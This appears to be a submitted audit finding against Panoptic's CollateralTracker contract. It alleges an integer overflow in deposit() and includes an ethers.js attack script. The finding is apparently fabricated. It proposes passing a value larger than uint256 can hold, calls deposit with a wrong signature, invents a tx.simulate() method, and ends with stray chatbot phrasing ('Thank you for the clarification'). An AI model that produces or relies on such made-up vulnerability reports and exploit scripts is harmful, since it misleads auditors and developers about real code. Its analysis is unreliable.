integer overflow.

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Lines of code

https://github.com/code-423n4/2024-06-panoptic/blob/153f0d82440b7e63075d55b0659706531431145f/contracts/CollateralTracker.sol#L401

Vulnerability details

vulnerability in the CollateralTracker contract related to the deposit function. The vulnerability is the lack of input validation on the assets parameter, which could potentially lead to an integer overflow. An attacker could exploit this vulnerability to deposit a value larger than the maximum allowed by the uint256 type, leading to potential security issues or incorrect contract behavior.

Here's an example of how an attacker might exploit this vulnerability:

1. The attacker creates a deposit transaction with a value larger than the maximum allowed by the uint256 type.
2. The attacker submits the transaction to the contract.
3. The contract processes the transaction without input validation, allowing the integer overflow.
4. The contract mints an excessive amount of shares to the attacker's account.

To prevent this type of attack, the contract should include input validation to ensure that the assets parameter is within the acceptable range for the uint256 type before processing it. Additionally, overflow and underflow checks should be implemented to prevent integer overflows and underflows.

The vulnerability lies in the deposit function, specifically the line where the shares variable is calculated:

uint256 shares = Math.mul(assets, decimals);

In this line, the assets parameter is multiplied by the decimals constant without any overflow or underflow checks. An attacker could potentially manipulate the assets parameter to cause an integer overflow, leading to unintended behavior in the contract.

To exploit this vulnerability, an attacker could create a custom script or use existing tools to call the deposit function with a manipulated assets value larger than the maximum allowed by the uint256 type.

Here's an example of how an attacker might exploit this vulnerability in a custom script:

const { ethers } = require("ethers");

// Connect to the target contract
const provider = new ethers.providers.JsonRpcProvider("RPC_URL");
const targetContractAddress = "CONTRACT_ADDRESS";
const targetContractABI = []; // ABI of the CollateralTracker contract
const targetContract = new ethers.Contract(targetContractAddress, targetContractABI, provider);

// Attacker's address and private key
const attackerAddress = "ATTACKER_ADDRESS";
const attackerPrivateKey = "ATTACKER_PRIVATE_KEY";
const attacker = new ethers.Wallet(attackerPrivateKey, provider);

// Set up transaction parameters
const assets = "0x10000000000000000000000000000000000000000000000000000000000000001"; // Example assets value, larger than the maximum allowed by uint256
const decimals = 10_000; // decimals constant

// Perform the attack
async function exploitVulnerability() {
  // Set up transaction
  const tx = await targetContract.connect(attacker).deposit(assets, decimals);

  // Simulate or send the transaction
  const txResponse = await tx.simulate() || await tx.wait();

  // Check transaction status
  if (txResponse.status === 1) {
    console.log("Transaction successful!");
    console.log(`Attacker now holds an excessive amount of shares.`);
  } else {
    console.error("Transaction failed!");
  }
}

// Execute the attack
exploitVulnerability();

To prevent such attacks, the contract should include input validation and overflow/underflow checks on the assets parameter to ensure that it is within the acceptable range for the uint256 type. This will help prevent attackers from exploiting the vulnerability and ensure that the contract behaves as intended.

This code is for educational purposes only and should not be used to perform illegal activities. Always ensure that any actions taken are in compliance with applicable laws and regulations. Thank you for the clarification. It's important to emphasize the importance of secure coding practices and input validation to prevent potential vulnerabilities and ensure that smart contracts behave as intended. By including checks for input validation and integer overflows and underflows, the contract can better protect itself against potential attacks and maintain the integrity of the system.

Assessed type

Under/Overflow